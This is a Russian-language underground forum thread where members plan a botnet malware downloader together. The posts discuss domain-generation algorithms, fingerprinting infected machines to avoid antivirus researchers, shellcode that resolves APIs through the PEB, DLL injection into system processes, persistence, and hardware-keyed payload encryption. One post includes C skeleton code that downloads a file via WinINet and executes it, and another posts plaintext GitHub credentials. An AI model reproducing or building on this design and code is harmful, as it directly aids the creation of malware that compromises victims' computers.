Разработка DL лоадера

тогда у людей изменится представление о самом "привате" :)
остались те, кому всё еще эта и околомалварные темы интересны тут?
 
квак же тут, у него доступ сюда есть?
крем появится, думаю заинтересуется, гринзи, ваху, рагнар, паук.. по сути все же тут...

p.s.Ar3s есть контакт краза?


[mod][Ar3s:] 1. у кваки доступ есть
2. Краз оставлял контакт, но не могу найти. Да и старый контакт совсем был.[/mod]
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Я практически не занимался доработкой своего лоадера, начиная с декабря 12 года где-то. Сначала кодил кое что на пхп на заказ, после лечился какое-то время. Но кое что есть, в ближайшие дни напишу в паблик теме свои наработки (в приватах нет смысла).

Но это только немного, а что дальше - хз. Например, загрузку из памяти, ssl и прочие элитные идеи, озвученные в этой теме, я тупо не осилю, по крайней мере на данном этапе.
 
опять же, обсуждали уже, всякие тех. фишки это дело второе, вначале нужно решить организационные проблемы, а именно прийти к соглашению в тз ( хотя бы в общие пункты работы, не затрагиваю реализацию ), выбрать язык на котором это все будет писаться, и разобрать примерно кто что хочет/будет делать ... а потом уже пытаться придумать интерфейсы дабы все это связать ...

и только потом кто то работающий над связью/протоколом спросит, а как мол лучше сделать ссл, через cryptoApi+сокеты, wininet/winhttp, COM или еще как то ...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
demien
с dll я сейчас пробую разобраться, там действительно не такая уж проблема. Но - dll грузить проще. А если ехе, в котором будут какие-то нюансы типа tls, релоки или еще черт знает что, то мне такое не под силу. Я РЕ формат только недавно изучаю, и то, изучил весьма поверхностно и слабо.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
el-
Пока писал предыдущее, появился твой пост. По ТЗ..если вкратце, из того, что помню:
1. Надо сделать генерацию доменов, в зависимости от недели в году, например + какой-то ключ. Как это сделать - в теории понимаю, на практике надо накодить генератор псевдо-случайных чисел, чтобы и в боте он был, и у ботовода, и чтобы это работало синхронно.
Я считаю, что надо обязательно делать генератор доменов, а не парсер выдачи гугла и прочую ахинею. Как уже кто-то писал в этой теме (вроде эль), если вдруг завтра гугл изменит алгоритм выдачи, ботнет пропадет. И такое может быть, да банально капча - у меня с моего ип иногда гугл просит ввести капчу. Попадет бот на такое, и все, лишились какого-то % загрузок. Поэтому надо только генерить домены, а не парсить выдачу гугла или еще что.

2. Надо написать бот, который будет прогружатся и получать инфу о зараженной машине (идея el-). Опять же - что получать? Список процессов, служб, установленные программы, место на диске, etc. Отправлять на сервер, где админка решит - машина аверская прокладка, или можно туда прогружать нормальный софт. Тут опять же, как быть - или сама админка должна решать, тогда надо "обучать" подобие ИИ в админке, чтобы он принимал решение (подобие эвристика, вида - если есть такой процесс + процессор слабее 2ггц + еще что - не прогружаем, вероятно реверс). Но тут может быть потеря загрузок, из-за ошибок. Или же вручную "одобрять", что не вариант при прогрузах тысяч ботов.

Это из того, что мог бы написать лично я, все иное - загрузка из памяти, инжекты, полиморфы я не осилю на нормальном уровне.

По ЯП - я могу Масм, ну или в крайнем случае Си. С++ (ООП) не знаю вообще, как и дельфи.
 
Давайте так... пока отложем генерацию доменов етц...
Сам код загрузчика (читай даунлоадера) будет кусокм базанезависимого си++ кода, превращенного в шк, это наиудобнейший формат работы. Вставляй буфер хоть в масме, хоть в фасме, и запускай, короче как мотор. Второй этап это пе лоадер, возьмем лоадер грита, с дллками от вполне сносно справляется, с ехе другая конитель. Ехе нам и не надо!

С шк тоже всё просто, через пеб ищем базу кернела, далее в экспорте по хэшу находим GetProcAddress, или пилим свой... Далее через че будем качать? рав сокеты, вининет или баналньый UrlDownloadToFileA?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
demien
Второй этап это пе лоадер, возьмем лоадер грита, с дллками от вполне сносно справляется, с ехе другая конитель. Ехе нам и не надо
Я это немного не пойму. С памяти предполагается запускать свои плагины, или, собственно, чужие ехе (которые лоадер будет прогружать)? Если свои длл ,то проблем нет, если чужие ехе - то надо очень много отлаживать в таком случае.
Вроде как же аверы палят создание нового процесса, поэтому лучше запускать малварку в своем. Или я что-то путаю?
Далее через че будем качать? рав сокеты, вининет или баналньый UrlDownloadToFileA?
UrlDownloadToFile или вининет. Тут есть несколько критириев, по которым надо выбрать:
1. Чтобы апи автоматом брали настройки с реестра или откуда там, если соединение идет через прокси. Сокеты такое не могут.
2. Поддержка ssl. Опять же, на сокетах это гемор.
3. Ну и эти апи дают более правдоподобный и похожий на настоящий хттп трафик, чем сокеты, ибо можно юзать чанки, гзип и так далее.
Единственное, я не знаю как работает UrlDownloadToFile - в плане, берет ли оно настройки с реестра, или если на компе корп. прокси, то не скачает. Минус единственный - если будем грузить ехе с памяти, то это апи не подойдет, тогда вининет.

Сокеты в своем лоадере (имею ввиду тот пример кода в паблике) я юзал исключительно для обучения кодингу на сокетах, в реальном проекте они могут вызвать проблемы, лучше взять тысячи раз отлаженные и проверенные апи, чем винсок.
 
Пока пускай запускаются плагинные длл модули. Сам лоадер пускай робит через вининет, дропает на хард, оттуда Шелексекут RunAs...
Всё это обернем в шк, дальше будем смотреть..
 
Ок пусть будет си, вот наибанальнейший кусок кода, возьмем его как скелет.
Малоки и фри заменим на VirtualAlloc и VirtualFree, не суть.
Указатели на апи, дабы не нести лишнего импорта можно искать самописной функой xGetProcAddress, находить базу кернел32 будем через пеб, парсить экспорт етц...

Код:
#define MAXBUFF (512 * 1024)

void DownloadFile (char *url, char *dest) 
{

	HINTERNET hRequest, hDownload;

	HANDLE hFile;

	int read, read2, ret = -1;
	char *buf;

	hRequest = InternetOpen (USER, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

	hDownload = InternetOpenUrl (hRequest, url, NULL, 0, INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, NULL);

	if (hDownload) {
  hFile = CreateFile (dest, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, 0, NULL);
  if (!hFile)
  	goto EndOfWork;
  buf = malloc (DOWNLOAD_MAXBUFF);
  do {
  	putchar ('.');
  	InternetReadFile (hDownload, buf, MAXBUFF, &read);
  	WriteFile (hFile, buf, read, &read2, NULL);
  }
 while (read == read2 && read == MAXBUFF);
  if (read == read2)
  	ret = 0;

	}



EndOfWork:
	free (buf);
	CloseHandle (hFile);
	InternetCloseHandle (hDownload);
	InternetCloseHandle (hRequest);

ShellExecute(NULL, "open", dest, NULL, NULL, NULL, 0);

ExitProcess(0);
}

....
 
>>Ок пусть будет си
я не про то, мне наоборот нравиться с++

>>будет кусокм базанезависимого си++ кода, превращенного в шк
зачем эти извращения с шк

>>это наиудобнейший формат работы.
и чем это удобно
 
я не про то, мне наоборот нравиться с++
ок

зачем эти извращения с шк
и чем это удобно
затем что кто-то пилит на фасме, кто-то на масме, кто-то на си
шк как временный двиг, вокруг которого можно всё остальное дальше пилить

в целом код-скелет дан, что дальше?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Давайте выберем сетевые апи. Я склоняюсь к вининет/винхттп (это хуже, ибо только юникод), но нужно мнение специалистов. Что лучше, что меньше палится, что имеет больше функционала и гибкости?
 
http://github.com/
login: damaga
password: 00vrq9wrv9288823

Создайте репозиторий лоадера Dloader
И пихайте в него кодес.

Если кто-то сменит пасс - будет крайне п#даристически...
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Имхо, лоадер должен представлять из себя EXE, который выплёвывает из себя DLL, при чём шифрует её, используя в качестве ключа аппаратные характеристики системы, на которой запускается EXE, после чего EXE умирает.
Возникли некоторые вопросы.
1. Что именно шифровать в dll? Т.е. какой именно раздел РЕ файла должен быть пошифрован дроппером? ведь нельзя поксорить весь файл, иначе он не будет работать, ровно как и поксорить там секцию данных или еще что. Можно подробней на эту тему?

2. Как обеспечить автозагрузку дллки? Т.е. дроппер скачал дллку, заинжектил ее в адресное пространство эксплорера или свцхост, а сам самоудалился. Все работает, но как только юзер выключит/перезагрузит комп, дллка сама по себе же не подключится опять к процессу. Как здесь быть? AppInit_DLLs не предлагать, так как они или отключены с виста+, или требуют цифровой подписи (точно не помню, но там с ними какая-то проблема есть). + загрузка сразу во все процессы, как по мне, не есть хорошо.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх